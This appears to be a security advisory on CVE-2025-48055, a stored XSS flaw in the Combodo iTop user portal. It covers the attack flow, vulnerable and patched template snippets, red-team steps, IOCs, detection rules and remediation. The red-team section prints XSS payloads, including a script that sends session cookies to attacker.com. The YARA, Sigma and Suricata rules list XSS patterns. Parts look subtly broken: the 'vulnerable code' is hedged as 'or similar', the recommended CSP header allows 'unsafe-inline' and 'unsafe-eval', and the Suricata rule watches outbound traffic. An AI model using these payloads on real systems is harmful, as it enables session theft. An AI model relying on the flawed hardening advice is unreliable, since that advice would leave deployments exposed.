CVE-2025-48055

Executive Summary

CVE-2025-48055 is a stored cross-site scripting (XSS) vulnerability in Combodo iTop, an open-source IT service management (ITSM) web application. The flaw exists in the "Browse Brick" component of the user portal, where user-supplied content is not properly sanitized before being rendered. An authenticated attacker with minimal privileges can inject malicious JavaScript that executes in the context of other users' browsers when they view the affected content. This can lead to session hijacking, credential theft, or unauthorized actions within the iTop application.

The vulnerability affects all iTop versions prior to 3.2.2. The vendor has released patches in versions 3.2.2 and 3.3.0. The EPSS score is 0.0%, indicating no active exploitation in the wild at the time of analysis, but the risk remains significant for unpatched instances.

Supply Chain & Package Security

iTop is a PHP-based application distributed via GitHub and its official website. The vulnerability is not in a third-party package but in the core application code. Organizations using iTop should verify their deployment version and apply the patch immediately. No malicious packages or compromised dependencies have been identified in relation to this CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 8.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid user account with minimal privileges.
• User Interaction (UI): Required – The victim must view the malicious content in the Browse Brick.
• Scope (S): Changed – The XSS can impact resources beyond the vulnerable component.
• Confidentiality (C): High – Full access to user data and sessions.
• Integrity (I): High – Ability to modify data or perform actions as the victim.
• Availability (A): High – Potential to disrupt service or delete data.

Threat Level: High. While no public exploit exists, the vulnerability is easy to exploit once discovered, and the impact is severe.

Deep Dive & Mechanics

The vulnerability resides in the BrowseBrick class within the iTop user portal. This brick is used to display lists of objects (e.g., tickets, assets) in a browsable format. When rendering content, the application fails to properly encode or sanitize user-controlled input before inserting it into the HTML output.

Specifically, the RenderBrowseBrick method or its associated template does not apply output encoding to fields that can contain user-supplied data, such as ticket titles, descriptions, or custom attribute values. An attacker can create or modify an object (e.g., a User Request) and include malicious JavaScript in a text field. When another user views the list of objects in the Browse Brick, the injected script executes in their browser.

The attack flow:

1. Attacker logs in with a low-privilege account.
2. Attacker creates a new ticket or modifies an existing one, injecting a payload like <script>alert(document.cookie)</script> into a text field.
3. Victim (e.g., an agent or admin) navigates to the Browse Brick to view tickets.
4. The victim's browser renders the malicious script, executing it in the context of the iTop application.
5. The script can steal session cookies, perform actions on behalf of the victim, or exfiltrate data.

Vulnerable vs. Patched Code

Vulnerable Code (iTop < 3.2.2): In the template file browsebrick.html.twig or similar, user-controlled data is output directly without escaping:

{% for item in items %}
    <tr>
        <td>{{ item.title }}</td>  <!-- No escaping -->
        <td>{{ item.description }}</td>  <!-- No escaping -->
    </tr>
{% endfor %}

Patched Code (iTop >= 3.2.2): The patched version applies Twig's escape filter (or equivalent PHP htmlspecialchars) to all user-controlled fields:

{% for item in items %}
    <tr>
        <td>{{ item.title|escape('html') }}</td>
        <td>{{ item.description|escape('html') }}</td>
    </tr>
{% endfor %}

This ensures that any HTML or JavaScript in the input is rendered as text, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of iTop version < 3.2.2.
• A valid user account with permission to create or edit objects (e.g., "Portal User" role).

Steps:

1. Log in to the iTop user portal.
2. Navigate to "New User Request" or any object creation form.
3. In a text field (e.g., "Title"), inject the following payload:

   <img src=x onerror=alert(document.cookie)>
   

4. Submit the form.
5. Wait for a victim (e.g., an agent) to view the list of requests in the Browse Brick.
6. The victim's browser executes the script, displaying their session cookie.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual JavaScript execution in the browser console.
• Look for outbound connections to unknown domains from iTop users.
• Review server logs for requests containing <script> or onerror patterns.

Hardening:

• Apply the patch immediately (upgrade to 3.2.2 or 3.3.0).
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Enable Web Application Firewall (WAF) rules to block XSS payloads.
• Restrict user permissions to the minimum required.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from iTop server.
  • Unusual Referer headers containing iTop URLs with encoded payloads.
• Host:
  • Log entries in iTop/log/ containing <script> or onerror patterns.
  • Modified objects (e.g., tickets) with suspicious content in text fields.
• Application:
  • Unexpected JavaScript alerts or redirects in the user portal.
  • Session cookies being sent to external domains (visible in browser dev tools).

Detection Engineering

YARA Rule

rule CVE_2025_48055_XSS_iTop {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-48055 in iTop logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48055"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-48055 XSS Attempt in iTop Logs
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS payloads in iTop application logs
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: itop
detection:
    selection:
        EventID: 1000  # Example iTop log event ID
        Message|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-48055 iTop XSS Payload Detected";
    flow:to_server,established;
    content:"<script"; http_client_body;
    nocase;
    sid:1000001;
    rev:1;
    reference:cve,2025-48055;
)

Remediation & Mitigation

Immediate:

• Upgrade iTop to version 3.2.2 or 3.3.0.
• If upgrade is not possible, apply the vendor-provided patch manually.

Compensating Controls:

• Deploy a WAF with XSS detection rules.
• Implement CSP header: Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; (adjust as needed).
• Restrict user permissions to prevent low-privilege users from creating or editing objects with rich text.

Long-term:

• Conduct regular security audits of iTop customizations.
• Train developers on secure coding practices, especially output encoding.
• Monitor for new CVEs and apply patches promptly.

Valters IT